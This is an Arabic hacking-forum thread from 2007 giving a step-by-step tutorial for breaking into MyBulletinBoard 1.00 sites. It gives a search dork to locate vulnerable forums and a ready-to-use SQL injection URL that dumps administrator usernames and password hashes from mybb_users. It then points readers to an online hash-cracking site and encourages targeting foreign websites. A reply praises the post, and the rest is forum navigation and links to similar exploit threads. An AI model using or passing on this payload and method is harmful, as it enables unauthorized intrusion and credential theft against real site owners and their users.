ثغرة في سكربت MyBulletin

lm3a · 04-03-2007, 11:51 PM

بسم الله نبدأ الشرح :

إذهب الى أي محرك بحث ضخم مثل

ثم أكتب كلمة البحث كلأتي :

كود PHP:


			
Powered by MyBulletinBoard 1.00 Release

راح يظهر لنا اُلاااااف المواقع المصابة بالثغرة
نيجي نختار مثلا هذا الموقع

شوف بعيونك الباسورد المشفر تمام

بعد كلمة forum
قم بإضافة هذا الكود :

كود PHP:


			
search.php?action=finduser&uid=-1'%20UNION%20SELECT%20uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,username,password%20FROM%20mybb_users%20where%20usergroup=4/*

وشوف المفعول

وطواااالي توجه الى هذا الموقع

وحط الباسورد المشفر
وأكتب الكود الموجود بالصورة
ومن ثم أضغط submit
ثم انتظر بعض الوقت وابحث عنه هتلاقيه اتفك بإذن الله
أوصيكم بالمواقع الاجنبية لووووول

كاريزما · 05-03-2007, 03:05 AM

جُنان .. أبهآآر
آبدآآع .. لآمثيل له
تشآآآآو

الشريعة و الحياة	المنتدى العام	اخر الأخبار	شعر - همس القوافي	خواطر - عذب الكلام	قصص
عالم حواء - بيت حواء	أزياء - فساتين - عبايات	مكياج - ميك اب	مطبخ حواء - أكلات	اخبار الرياضة - صور لاعبين	سيارات - صور سيارات
صور	نكت	مقاطع فيديو	اخبار الفن - اخبار الفنانين	صور فنانين - صور ممثلين	برامج جوال - العاب - ثيمات
بلوتوث - مقاطع جوال	نغمات - نغمات جوال	مسجات - مسجات جوال	برامج كمبيوتر	العاب الكترونية	هكر

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
حصريا في منتديات لمعه شرح ثغرة sql في 3.6.4	lm3a	اختراق - هكر - هاكرز	4	23-09-2007 03:33 PM
شرح ثغرة انكلود في vb3.6.0	lm3a	اختراق - هكر - هاكرز	2	06-03-2007 01:42 AM
ثغرة تكشف باسورد الموقع	lm3a	اختراق - هكر - هاكرز	1	05-03-2007 03:03 AM
ثغرة في الفرونت بيج	lm3a	اختراق - هكر - هاكرز	1	05-03-2007 02:56 AM
ثغرة اخرى في ال msn	lm3a	اختراق - هكر - هاكرز	1	02-03-2007 10:52 PM

منتديات لمعه	منتديات لمعة	منتديات إسلامية	منتديات عامة	منتديات أدبية	منتديات عالم حواء
منتديات شبابية	منتديات ترفيهية	منتديات فنية	منتديات الجوال	منتديات تقنية	منتديات تطوير

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

أدوات الموضوع
أرسل هذا الموضوع إلى صديق

اعلانات مشتركة